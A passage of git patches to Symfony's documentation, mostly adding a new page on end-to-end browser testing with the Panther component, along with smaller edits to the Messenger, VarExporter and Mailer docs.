-``handles``                   Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
-                              type-hint.
-``method``                    Name of the method that will process the message, only if the target is a class.
-``priority``                  Priority of the handler when multiple handlers can process the same message.
-============================  ====================================================================================================
+==============================  ====================================================================================================
+Option                          Description
+==============================  ====================================================================================================
+``bus``                         Name of the bus from which the handler can receive messages, by default all buses.
+``fromTransport``               Name of the transport from which the handler can receive messages, by default all transports.
+``handles``                     Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
+                                type-hint.
+``method``                      Name of the method that will process the message, only if the target is a class.
+``priority``                    Priority of the handler when multiple handlers can process the same message.
+==============================  ====================================================================================================
 
 .. _messenger-handler-config:
 

From d17116ae68f3ecb70a20cf695b748fe654981d26 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 14 Nov 2023 09:59:52 +0100
Subject: [PATCH 4038/5766] [VarExporter] Deprecate per-property
 lazy-initializers

---
 components/var_exporter.rst | 26 +++++++++++++++-----------
 1 file changed, 15 insertions(+), 11 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 12c1396b0f1..20213e05c06 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -199,9 +199,9 @@ LazyGhostTrait
 
 Ghost objects are empty objects, which see their properties populated the first
 time any method is called. Thanks to :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait`,
-the implementation of the lazy mechanism is eased. In the following example, the
-``$hash`` property is defined as lazy. Also, the ``MyLazyObject::computeHash()``
-method should be called only when ``$hash``'s value need to be known::
+the implementation of the lazy mechanism is eased. The ``MyLazyObject::populateHash()``
+method will be called only when the object is actually used and needs to be
+initialized::
 
     namespace App\Hash;
 
@@ -219,17 +219,21 @@ method should be called only when ``$hash``'s value need to be known::
 
         public function __construct()
         {
-            self::createLazyGhost(initializer: [
-                'hash' => $this->computeHash(...),
-            ], instance: $this);
+            self::createLazyGhost(initializer: $this->populateHash(...), instance: $this);
         }
 
-        private function computeHash(array $data): string
+        private function populateHash(array $data): void
         {
             // Compute $this->hash value with the passed data
         }
     }
 
+.. deprecated:: 6.4
+
+    Using an array of closures for property-based initialization in the
+    ``createLazyGhost()`` method is deprecated since Symfony 6.4. Pass
+    a single closure that initializes the whole object instead.
+
 :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait` also allows to
 convert non-lazy classes to lazy ones::
 
@@ -243,10 +247,10 @@ convert non-lazy classes to lazy ones::
 
         public function __construct(array $data)
         {
-            $this->hash = $this->computeHash($data);
+            $this->populateHash($data);
         }
 
-        private function computeHash(array $data): string
+        private function populateHash(array $data): void
         {
             // ...
         }
@@ -330,10 +334,10 @@ code::
     {
         public function __construct(array $data)
         {
-            $this->hash = $this->computeHash($data);
+            $this->populateHash($data);
         }
 
-        private function computeHash(array $data): string
+        private function populateHash(array $data): void
         {
             // ...
         }

From 4de910e2a5413fb58cd788eadbcb8c867b72b855 Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Tue, 14 Nov 2023 15:39:11 +0100
Subject: [PATCH 4039/5766] tip to not follow redirects when testing mailer

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 844b2d8f760..0f8d11c627b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1597,6 +1597,11 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
         }
     }
 
+.. tip::
+
+   If your controller returns a redirect response after sending the email, make sure to have your client *not* follow redirects.
+   The kernel is rebooted after following the redirection and the message lost from the mailer event handler.
+
 .. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md
 .. _`App Password`: https://support.google.com/accounts/answer/185833
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout

From 54114304aa798f309729748c0b7cee1c9b272f46 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 3 Nov 2023 09:07:43 +0100
Subject: [PATCH 4040/5766] [Panther] Add component documentation

---
 .doctor-rst.yaml       |   2 +-
 testing.rst            |  15 +-
 testing/end_to_end.rst | 828 +++++++++++++++++++++++++++++++++++++++++
 3 files changed, 838 insertions(+), 7 deletions(-)
 create mode 100644 testing/end_to_end.rst

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 7cb81dfe04f..f1c54d6cf07 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -111,4 +111,4 @@ whitelist:
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
-        - '..  End to End Tests (E2E)'
+        - 'End to End Tests (E2E)'
diff --git a/testing.rst b/testing.rst
index 47d28301088..b8f3fd1bebe 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1166,12 +1166,15 @@ HttpClient Assertions
 
     The HttpClient assertions were introduced in Symfony 6.4.
 
-.. TODO
-..  End to End Tests (E2E)
-..  ----------------------
-..  * panther
-..  * testing javascript
-..  * UX or form collections as example?
+End to End Tests (E2E)
+~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to test the application as a whole, including the JavaScript
+code, you can use a real browser instead of the test client. This is
+called an end-to-end test and it's a great way to test the application.
+
+This can be achieved thanks to the Panther component. You can learn more
+about it in :doc:`the dedicated page </testing/end_to_end>`.
 
 Learn more
 ----------
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
new file mode 100644
index 00000000000..4ae6fb9da15
--- /dev/null
+++ b/testing/end_to_end.rst
@@ -0,0 +1,828 @@
+End-to-End Testing
+==================
+
+    The Panther component allows to drive a real web browser with PHP to create
+    end-to-end tests.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/panther
+
+.. include:: /components/require_autoload.rst.inc
+
+Introduction
+------------
+
+End to end tests are a special type of application tests that
+simulate a real user interacting with your application. They are
+typically used to test the user interface (UI) of your application
+and the effects of these interactions (e.g. when I click on this button, a mail
+must be sent). The difference with functional tests detailed above is
+that End-to-End tests use a real browser instead of a simulated one. This
+browser can run in headless mode (without a graphical interface) or not.
+The first option is convenient for running tests in a Continuous Integration
+(CI), while the second one is useful for debugging purpose.
+
+This is the purpose of Panther, a component that provides a real browser
+to run your tests. Here are a few things that make Panther special, compared
+to other testing tools provided by Symfony:
+
+* Possibility to take screenshots of the browser at any time during the test
+* The JavaScript code contained in webpages is executed
+* Panther supports everything that Chrome (or Firefox) implements
+* Convenient way to test real-time applications (e.g. WebSockets, Server-Sent Events
+  with Mercure, etc.)
+
+Installing Web Drivers
+~~~~~~~~~~~~~~~~~~~~~~
+
+Panther uses the WebDriver protocol to control the browser used to crawl
+websites. On all systems, you can use `dbrekelmans/browser-driver-installer`_
+to install ChromeDriver and geckodriver locally:
+
+.. code-block:: terminal
+
+    $ composer require --dev dbrekelmans/bdi
+
+    $ vendor/bin/bdi detect drivers
+
+Panther will detect and use automatically drivers stored in the ``drivers/`` directory
+of your project when installing them manually. You can download `ChromeDriver`_
+for Chromium or Chromeand `GeckoDriver`_ for Firefox and put them anywhere in
+your ``PATH`` or in the ``drivers/`` directory of your project.
+
+Alternatively, you can use the package manager of your operating system
+to install them:
+
+.. code-block:: terminal
+
+    # Ubuntu
+    $ apt-get install chromium-chromedriver firefox-geckodriver
+
+    # MacOS, using Homebrew
+    $ brew install chromedriver geckodriver
+
+    # Windows, using Chocolatey
+    $ choco install chromedriver selenium-gecko-driver
+
+.. _panther_phpunit-extension:
+
+Registering The PHPUnit Extension
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you intend to use Panther to test your application, it is strongly recommended
+to register the Panther PHPUnit extension. While not strictly mandatory, this
+extension dramatically improves the testing experience by boosting the performance
+and allowing to use the :ref:`interactive debugging mode <panther_interactive-mode>`.
+
+When using the extension in conjunction with the ``PANTHER_ERROR_SCREENSHOT_DIR``
+environment variable, tests using the Panther client that fail or error (after the
+client is created) will automatically get a screenshot taken to help debugging.
+
+To register the Panther extension, add the following lines to ``phpunit.xml.dist``:
+
+.. code-block:: xml
+
+    <!-- phpunit.xml.dist -->
+    <extensions>
+        <extension class="Symfony\Component\Panther\ServerExtension"/>
+    </extensions>
+
+Without the extension, the web server used by Panther to serve the application
+under test is started on demand and stopped when ``tearDownAfterClass()`` is called.
+On the other hand, when the extension is registered, the web server will be stopped
+only after the very last test.
+
+Usage
+-----
+
+Here is an example of a snippet that uses Panther to test an application::
+
+    use Symfony\Component\Panther\Client;
+
+    $client = Client::createChromeClient();
+    // alternatively, create a Firefox client
+    $client = Client::createFirefoxClient();
+
+    $client->request('GET', 'https://api-platform.com');
+    $client->clickLink('Getting started');
+
+    // wait for an element to be present in the DOM, even if hidden
+    $crawler = $client->waitFor('#installing-the-framework');
+    // you can also wait for an element to be visible
+    $crawler = $client->waitForVisibility('#installing-the-framework');
+
+    // get the text of an element thanks to the query selector syntax
+    echo $crawler->filter('#installing-the-framework')->text();
+    // take a screenshot of the current page
+    $client->takeScreenshot('screen.png');
+
+.. note::
+
+    According to the specification, WebDriver implementations return only the
+    **displayed** text by default. When you filter on a ``head`` tag (like
+    ``title``), the method ``text()`` returns an empty string. Use the
+    ``html()`` method to get the complete contents of the tag, including the
+    tag itself.
+
+Creating a TestCase
+~~~~~~~~~~~~~~~~~~~
+
+The ``PantherTestCase`` class allows you to write end-to-end tests. It
+automatically starts your app using the built-in PHP web server and let
+you crawl it using Panther. To provide all the testing tools you're used
+to, it extends `PHPUnit`_'s ``TestCase``.
+
+If you are testing a Symfony application, ``PantherTestCase`` automatically
+extends the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase` class.
+It means you can create functional tests, which can directly execute the
+kernel of your application and access all your existing services.
+In this case, you can use
+:ref:`all crawler test assertions <testing-application-assertions>`
+provided by Symfony with Panther.
+
+Here is an example of a ``PantherTestCase``::
+
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class HomepageTest extends PantherTestCase
+    {
+        public function testMyApp(): void
+        {
+            // your app is automatically started using the built-in web server
+            $client = static::createPantherClient();
+            $client->request('GET', '/home');
+
+            // use any PHPUnit assertion, including the ones provided by Symfony...
+            $this->assertPageTitleContains('My Title');
+            $this->assertSelectorTextContains('#main', 'My body');
+
+            // ... or the one provided by Panther
+            $this->assertSelectorIsEnabled('.search');
+            $this->assertSelectorIsDisabled('[type="submit"]');
+            $this->assertSelectorIsVisible('.errors');
+            $this->assertSelectorIsNotVisible('.loading');
+            $this->assertSelectorAttributeContains('.price', 'data-old-price', '42');
+            $this->assertSelectorAttributeNotContains('.price', 'data-old-price', '36');
+
+            // ...
+        }
+    }
+
+Panther client comes with methods that wait until some asynchronous process
+finishes::
+
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class HomepageTest extends PantherTestCase
+    {
+        public function testMyApp(): void
+        {
+            // ...
+
+            // wait for element to be attached to the DOM
+            $client->waitFor('.popin');
+
+            // wait for element to be removed from the DOM
+            $client->waitForStaleness('.popin');
+
+            // wait for element of the DOM to become visible
+            $client->waitForVisibility('.loader');
+
+            // wait for element of the DOM to become hidden
+            $client->waitForInvisibility('.loader');
+
+            // wait for text to be inserted in the element content
+            $client->waitForElementToContain('.total', '25 €');
+
+            // wait for text to be removed from the element content
+            $client->waitForElementToNotContain('.promotion', '5%');
+
+            // wait for the button to become enabled
+            $client->waitForEnabled('[type="submit"]');
+
+            // wait for  the button to become disabled
+            $client->waitForDisabled('[type="submit"]');
+
+            // wait for the attribute to contain content
+            $client->waitForAttributeToContain('.price', 'data-old-price', '25 €');
+
+            // wait for the attribute to not contain content
+            $client->waitForAttributeToNotContain('.price', 'data-old-price', '25 €');
+        }
+    }
+
+Finally, you can also make assertions on things that will happen in the
+future::
+
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class HomepageTest extends PantherTestCase
+    {
+        public function testMyApp(): void
+        {
+            // ...
+
+            // element will be attached to the DOM
+            $this->assertSelectorWillExist('.popin');
+
+            // element will be removed from the DOM
+            $this->assertSelectorWillNotExist('.popin');
+
+            // element will be visible
+            $this->assertSelectorWillBeVisible('.loader');
+
+            // element will not be visible
+            $this->assertSelectorWillNotBeVisible('.loader');
+
+            // text will be inserted in the element content
+            $this->assertSelectorWillContain('.total', '€25');
+
+            // text will be removed from the element content
+            $this->assertSelectorWillNotContain('.promotion', '5%');
+
+            // button will be enabled
+            $this->assertSelectorWillBeEnabled('[type="submit"]');
+
+            // button will be disabled
+            $this->assertSelectorWillBeDisabled('[type="submit"]');
+
+            // attribute will contain content
+            $this->assertSelectorAttributeWillContain('.price', 'data-old-price', '€25');
+
+            // attribute will not contain content
+            $this->assertSelectorAttributeWillNotContain('.price', 'data-old-price', '€25');
+        }
+    }
+
+You can then run this test by using PHPUnit, like you would do for any other
+test:
+
+.. code-block:: terminal
+
+    $ ./vendor/bin/phpunit tests/HomepageTest.php
+
+When writing end-to-end tests, you should keep in mind that they are
+slower than other tests. If you need to check that the WebDriver connection
+is still active during long-running tests, you can use the
+``Client::ping()`` method which returns a boolean depending on the
+connection status.
+
+Advanced Usage
+--------------
+
+Changing The Hostname and the Port Of The Web Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to change the host and/or the port used by the built-in web server,
+pass the ``hostname`` and ``port`` to the ``$options`` parameter of the
+``createPantherClient()`` method::
+
+    $client = self::createPantherClient([
+        'hostname' => 'example.com', // defaults to 127.0.0.1
+        'port' => 8080, // defaults to 9080
+    ]);
+
+Using Browser-Kit Clients
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Panther also gives access to other BrowserKit-based implementations of
+``Client`` and ``Crawler``. Unlike Panther's native client, these alternative
+clients don't support JavaScript, CSS and screenshot capturing, but are way
+faster. Two alternative clients are available:
+
+* The first directly manipulates the Symfony kernel provided by
+  ``WebTestCase``. It is the fastest client available, but it
+  is only available for Symfony applications.
+* The second leverages :class:`Symfony\\Component\\BrowserKit\\HttpBrowser`.
+  It is an intermediate between Symfony's kernel and Panther's test clients.
+  ``HttpBrowser`` sends real HTTP requests using the
+  :doc:`HttpClient component </http_client>`. It is fast and is able to browse
+  any webpage, not only the ones of the application under test.
+  However, HttpBrowser doesn't support JavaScript and other advanced features
+  because it is entirely written in PHP. This one can be used in any PHP
+  application.
+
+Because all clients implement the exact same API, you can switch from one to
+another just by calling the appropriate factory method, resulting in a good
+trade-off for every single test case: if JavaScript is needed or not, if an
+authentication against an external SSO has to be done, etc.
+
+Here is how to retrieve instances of these clients::
+
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\Client;
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class AppTest extends PantherTestCase
+    {
+        public function testMyApp(): void
+        {
+            // retrieve an existing client
+            $symfonyClient = static::createClient();
+            $httpBrowserClient = static::createHttpBrowserClient();
+            $pantherClient = static::createPantherClient();
+            $firefoxClient = static::createPantherClient(['browser' => static::FIREFOX]);
+
+            // create a custom client
+            $customChromeClient = Client::createChromeClient(null, null, [], 'https://example.com');
+            $customFirefoxClient = Client::createFirefoxClient(null, null, [], 'https://example.com');
+            $customSeleniumClient = Client::createSeleniumClient('http://127.0.0.1:4444/wd/hub', null, 'https://example.com');
+
+            // if you are testing a Symfony app, you also have access to the kernel
+            $kernel = static::createKernel();
+
+            // ...
+        }
+    }
+
+.. note::
+
+    When initializing a custom client, the integrated web server **is not** started
+    automatically. Use ``PantherTestCase::startWebServer()`` or the ``WebServerManager``
+    class if you want to start it manually.
+
+Testing Real-Time Applications
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Panther provides a convenient way to test applications with real-time
+capabilities which use `Mercure`_, `WebSocket`_ and similar technologies.
+
+The ``PantherTestCase::createAdditionalPantherClient()`` method can create
+additional, isolated browsers which can interact with other ones. For instance,
+this can be useful to test a chat application having several users
+connected simultaneously::
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class ChatTest extends PantherTestCase
+    {
+        public function testChat(): void
+        {
+            $client1 = self::createPantherClient();
+            $client1->request('GET', '/chat');
+
+            // connect a 2nd user using an isolated browser
+            $client2 = self::createAdditionalPantherClient();
+            $client2->request('GET', '/chat');
+            $client2->submitForm('Post message', ['message' => 'Hi folks !']);
+
+            // wait for the message to be received by the first client
+            $client1->waitFor('.message');
+
+            // Symfony Assertions are *always* executed in the primary browser
+            $this->assertSelectorTextContains('.message', 'Hi folks !');
+        }
+    }
+
+Accessing Browser Console Logs
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If needed, you can use Panther to access the content of the console::
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class ConsoleTest extends PantherTestCase
+    {
+        public function testConsole(): void
+        {
+            $client = self::createPantherClient(
+                [],
+                [],
+                [
+                    'capabilities' => [
+                        'goog:loggingPrefs' => [
+                            'browser' => 'ALL', // calls to console.* methods
+                            'performance' => 'ALL', // performance data
+                        ],
+                    ],
+                ]
+            );
+
+            $client->request('GET', '/');
+
+            $consoleLogs = $client->getWebDriver()->manage()->getLog('browser');
+            $performanceLogs = $client->getWebDriver()->manage()->getLog('performance'); // performance logs
+        }
+    }
+
+Passing Arguments to ChromeDriver
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If needed, you can configure `the arguments`_ to pass to the ``chromedriver`` binary::
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class MyTest extends PantherTestCase
+    {
+        public function testLogging(): void
+        {
+            $client = self::createPantherClient(
+                [],
+                [],
+                [
+                    'chromedriver_arguments' => [
+                        '--log-path=myfile.log',
+                        '--log-level=DEBUG'
+                    ],
+                ]
+            );
+
+            $client->request('GET', '/');
+        }
+    }
+
+Using a Proxy
+~~~~~~~~~~~~~
+
+To use a proxy server, you have to set the ``PANTHER_CHROME_ARGUMENTS``:
+
+.. code-block:: bash
+
+    # .env.test
+    PANTHER_CHROME_ARGUMENTS='--proxy-server=socks://127.0.0.1:9050'
+
+Accepting Self-Signed SSL Certificates
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To force Chrome to accept invalid and self-signed certificates, you can set the
+following environment variable: ``PANTHER_CHROME_ARGUMENTS='--ignore-certificate-errors'``.
+
+.. caution::
+
+    This option is insecure, use it only for testing in development environments,
+    never in production (e.g. for web crawlers).
+
+For Firefox, instantiate the client like this, you can do this at client
+creation::
+
+    $client = Client::createFirefoxClient(null, null, ['capabilities' => ['acceptInsecureCerts' => true]]);
+
+Using An External Web Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes, it's convenient to reuse an existing web server configuration
+instead of starting the built-in PHP one. To do so, set the
+``external_base_uri`` option when creating your client::
+
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class E2eTest extends PantherTestCase
+    {
+        public function testMyApp(): void
+        {
+            $pantherClient = static::createPantherClient(['external_base_uri' => 'https://localhost']);
+
+            // ...
+        }
+    }
+
+.. note::
+
+    When using an external web server, Panther will not start the built-in
+    PHP web server.
+
+Having a Multi-domain Application
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It happens that your PHP/Symfony application might serve several different
+domain names. As Panther saves the Client in memory between tests to improve
+performance, you will have to run your tests in separate
+processes if you write several tests using Panther for different domain names.
+
+To do so, you can use the native ``@runInSeparateProcess`` PHPUnit annotation.
+Here is an example using the ``external_base_uri`` option to determine the
+domain name used by the Client when using separate processes::
+
+    // tests/FirstDomainTest.php
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class FirstDomainTest extends PantherTestCase
+    {
+        /**
+         * @runInSeparateProcess
+         */
+        public function testMyApp(): void
+        {
+            $pantherClient = static::createPantherClient([
+                'external_base_uri' => 'http://mydomain.localhost:8000',
+            ]);
+
+            // ...
+        }
+    }
+
+    // tests/SecondDomainTest.php
+    namespace App\Tests;
+
+    use Symfony\Component\Panther\PantherTestCase;
+
+    class SecondDomainTest extends PantherTestCase
+    {
+        /**
+         * @runInSeparateProcess
+         */
+        public function testMyApp(): void
+        {
+            $pantherClient = static::createPantherClient([
+                'external_base_uri' => 'http://anotherdomain.localhost:8000',
+            ]);
+
+            // ...
+        }
+    }
+
+Usage With Other Testing Tools
+------------------------------
+
+If you want to use Panther with other testing tools like `LiipFunctionalTestBundle`_
+or if you just need to use a different base class, you can use the
+``Symfony\Component\Panther\PantherTestCaseTrait`` to enhance your existing
+test-infrastructure with some Panther mechanisms::
+
+    namespace App\Tests\Controller;
+
+    use Liip\FunctionalTestBundle\Test\WebTestCase;
+    use Symfony\Component\Panther\PantherTestCaseTrait;
+
+    class DefaultControllerTest extends WebTestCase
+    {
+        use PantherTestCaseTrait;
+
+        public function testWithFixtures(): void
+        {
+            $this->loadFixtures([]); // load your fixtures
+            $client = self::createPantherClient(); // create your panther client
+
+            $client->request('GET', '/');
+
+            // ...
+        }
+    }
+
+Configuring Panther Through Environment Variables
+-------------------------------------------------
+
+The following environment variables can be set to change some Panther's
+behavior:
+
+``PANTHER_NO_HEADLESS``
+    Disable the browser's headless mode (will display the testing window, useful to debug)
+``PANTHER_WEB_SERVER_DIR``
+    Change the project's document root (default to ``./public/``, relative paths **must start** by ``./``)
+``PANTHER_WEB_SERVER_PORT``
+    Change the web server's port (default to ``9080``)
+``PANTHER_WEB_SERVER_ROUTER``
+    Use a web server router script which is run at the start of each HTTP request
+``PANTHER_EXTERNAL_BASE_URI``
+    Use an external web server (the PHP built-in web server will not be started)
+``PANTHER_APP_ENV``
+    Override the ``APP_ENV`` variable passed to the web server running the PHP app
+``PANTHER_ERROR_SCREENSHOT_DIR``
+    Set a base directory for your failure/error screenshots (e.g. ``./var/error-screenshots``)
+``PANTHER_DEVTOOLS``
+    Toggle the browser's dev tools (default ``enabled``, useful to debug)
+``PANTHER_ERROR_SCREENSHOT_ATTACH``
+    Add screenshots mentioned above to test output in junit attachment format
+
+Chrome Specific Environment Variables
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+``PANTHER_NO_SANDBOX``
+    Disable `Chrome's sandboxing`_ (unsafe, but allows to use Panther in containers)
+``PANTHER_CHROME_ARGUMENTS``
+    Customize Chrome arguments. You need to set ``PANTHER_NO_HEADLESS`` to fully customize
+``PANTHER_CHROME_BINARY``
+    To use another ``google-chrome`` binary
+
+Firefox Specific Environment Variables
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+``PANTHER_FIREFOX_ARGUMENTS``
+    Customize Firefox arguments. You need to set ``PANTHER_NO_HEADLESS`` to fully customize
+``PANTHER_FIREFOX_BINARY``
+    To use another ``firefox`` binary
+
+.. _panther_interactive-mode:
+
+Interactive Mode
+----------------
+
+Panther can make a pause in your tests suites after a failure.
+Thanks to this break time, you can investigate the encountered problem through
+the web browser. To enable this mode, you need the ``--debug`` PHPUnit option
+without the headless mode:
+
+.. code-block:: terminal
+
+    $ PANTHER_NO_HEADLESS=1 bin/phpunit --debug
+
+    Test 'App\AdminTest::testLogin' started
+    Error: something is wrong.
+
+    Press enter to continue...
+
+To use the interactive mode, the
+:ref:`PHPUnit extension <panther_phpunit-extension>` has to be registered.
+
+Docker Integration
+------------------
+
+Here is a minimal Docker image that can run Panther with both Chrome and
+Firefox:
+
+.. code-block:: dockerfile
+
+    FROM php:alpine
+
+    # Chromium and ChromeDriver
+    ENV PANTHER_NO_SANDBOX 1
+    # Not mandatory, but recommended
+    ENV PANTHER_CHROME_ARGUMENTS='--disable-dev-shm-usage'
+    RUN apk add --no-cache chromium chromium-chromedriver
+
+    # Firefox and GeckoDriver (optional)
+    ARG GECKODRIVER_VERSION=0.28.0
+    RUN apk add --no-cache firefox libzip-dev; \
+        docker-php-ext-install zip
+    RUN wget -q https://github.com/mozilla/geckodriver/releases/download/v$GECKODRIVER_VERSION/geckodriver-v$GECKODRIVER_VERSION-linux64.tar.gz; \
+        tar -zxf geckodriver-v$GECKODRIVER_VERSION-linux64.tar.gz -C /usr/bin; \
+        rm geckodriver-v$GECKODRIVER_VERSION-linux64.tar.gz
+
+You can then build and run your image:
+
+.. code-block:: bash
+
+    $ docker build . -t myproject
+    $ docker run -it -v "$PWD":/srv/myproject -w /srv/myproject myproject bin/phpunit
+
+Integrating Panther In Your CI
+------------------------------
+
+Github Actions
+~~~~~~~~~~~~~~
+
+Panther works out of the box with `GitHub Actions`_.
+Here is a minimal ``.github/workflows/panther.yaml`` file to run Panther tests:
+
+.. code-block:: yaml
+
+    name: Run Panther tests
+
+    on: [ push, pull_request ]
+
+    jobs:
+      tests:
+
+        runs-on: ubuntu-latest
+
+        steps:
+          - uses: actions/checkout@v4
+          - uses: "ramsey/composer-install@v2"
+
+          - name: Install dependencies
+            run: composer install -q --no-ansi --no-interaction --no-scripts --no-progress --prefer-dist
+
+          - name: Run test suite
+            run: bin/phpunit
+
+Travis CI
+~~~~~~~~~
+
+Panther will work out of the box with `Travis CI`_ if you add the Chrome addon.
+Here is a minimal ``.travis.yaml`` file to run Panther tests:
+
+.. code-block:: yaml
+
+    language: php
+    addons:
+      # If you don't use Chrome, or Firefox, remove the corresponding line
+      chrome: stable
+      firefox: latest
+
+    php:
+      - 8.0
+
+    script:
+      - bin/phpunit
+
+Gitlab CI
+~~~~~~~~~
+
+Here is a minimal ``.gitlab-ci.yaml`` file to run Panther tests
+with `Gitlab CI`_:
+
+.. code-block:: yaml
+
+    image: ubuntu
+
+    before_script:
+      - apt-get update
+      - apt-get install software-properties-common -y
+      - ln -sf /usr/share/zoneinfo/Europe/Paris /etc/localtime
+      - apt-get install curl wget php php-cli php8.1 php8.1-common php8.1-curl php8.1-intl php8.1-xml php8.1-opcache php8.1-mbstring php8.1-zip libfontconfig1 fontconfig libxrender-dev libfreetype6 libxrender1 zlib1g-dev xvfb chromium-chromedriver firefox-geckodriver -y -qq
+      - export PANTHER_NO_SANDBOX=1
+      - export PANTHER_WEB_SERVER_PORT=9080
+      - php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
+      - php composer-setup.php --install-dir=/usr/local/bin --filename=composer
+      - php -r "unlink('composer-setup.php');"
+      - composer install -q --no-ansi --no-interaction --no-scripts --no-progress --prefer-dist
+
+    test:
+      script:
+        - bin/phpunit
+
+AppVeyor
+~~~~~~~~
+
+Panther will work out of the box with `AppVeyor`_ as long as Google Chrome
+is installed. Here is a minimal ``appveyor.yaml`` file to run Panther tests:
+
+.. code-block:: yaml
+
+    build: false
+    platform: x86
+    clone_folder: c:\projects\myproject
+
+    cache:
+      - '%LOCALAPPDATA%\Composer\files'
+
+    install:
+      - ps: Set-Service wuauserv -StartupType Manual
+      - cinst -y php composer googlechrome chromedriver firfox selenium-gecko-driver
+      - refreshenv
+      - cd c:\tools\php80
+      - copy php.ini-production php.ini /Y
+      - echo date.timezone="UTC" >> php.ini
+      - echo extension_dir=ext >> php.ini
+      - echo extension=php_openssl.dll >> php.ini
+      - echo extension=php_mbstring.dll >> php.ini
+      - echo extension=php_curl.dll >> php.ini
+      - echo memory_limit=3G >> php.ini
+      - cd %APPVEYOR_BUILD_FOLDER%
+      - composer install -q --no-ansi --no-interaction --no-scripts --no-progress --prefer-dist
+
+    test_script:
+      - cd %APPVEYOR_BUILD_FOLDER%
+      - php bin\phpunit
+
+Known Limitations and Troubleshooting
+-------------------------------------
+
+The following features are not currently supported:
+
+* Crawling XML documents (only HTML is supported)
+* Updating existing documents (browsers are mostly used to consume data, not to create webpages)
+* Setting form values using the multidimensional PHP array syntax
+* Methods returning an instance of ``\DOMElement`` (because this library uses ``WebDriverElement`` internally)
+* Selecting invalid choices in select
+
+Also, there is a known issue if you are using Bootstrap 5. It implements a
+scrolling effect, which tends to mislead Panther. To fix this, we advise you to
+deactivate this effect by setting the Bootstrap 5 ``$enable-smooth-scroll``
+variable to ``false`` in your style file:
+
+.. code-block:: scss
+
+    $enable-smooth-scroll: false;
+
+Additional Documentation
+------------------------
+
+Since Panther implements the API of popular libraries, you can find even more
+documentation:
+
+* For the ``Client`` class, by reading the
+  :doc:`BrowserKit component </components/browser_kit>` page
+* For the ``Crawler`` class, by reading the
+  :doc:`DomCrawler component </components/dom_crawler>` page
+* For WebDriver, by reading the `PHP WebDriver documentation`_
+
+.. _`dbrekelmans/browser-driver-installer`: https://github.com/dbrekelmans/browser-driver-installer
+.. _`ChromeDriver`: https://sites.google.com/chromium.org/driver/
+.. _`GeckoDriver`: https://github.com/mozilla/geckodriver
+.. _`PHPUnit`: https://phpunit.de/
+.. _`Mercure`: https://mercure.rocks/
+.. _`WebSocket`: https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API
+.. _`the arguments`: https://chromedriver.chromium.org/logging#TOC-All-languages
+.. _`PHP WebDriver documentation`: https://github.com/php-webdriver/php-webdriver
+.. _`Chrome's sandboxing`: https://chromium.googlesource.com/chromium/src/+/b4730a0c2773d8f6728946013eb812c6d3975bec/docs/design/sandbox.md
+.. _`GitHub Actions`: https://help.github.com/en/actions
+.. _`Travis CI`: https://travis-ci.com/
+.. _`Gitlab CI`: https://docs.gitlab.com/ee/ci/
+.. _`AppVeyor`: https://www.appveyor.com/
+.. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle

From 18aaffb996053a8d1582062483abf88e94d0129c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
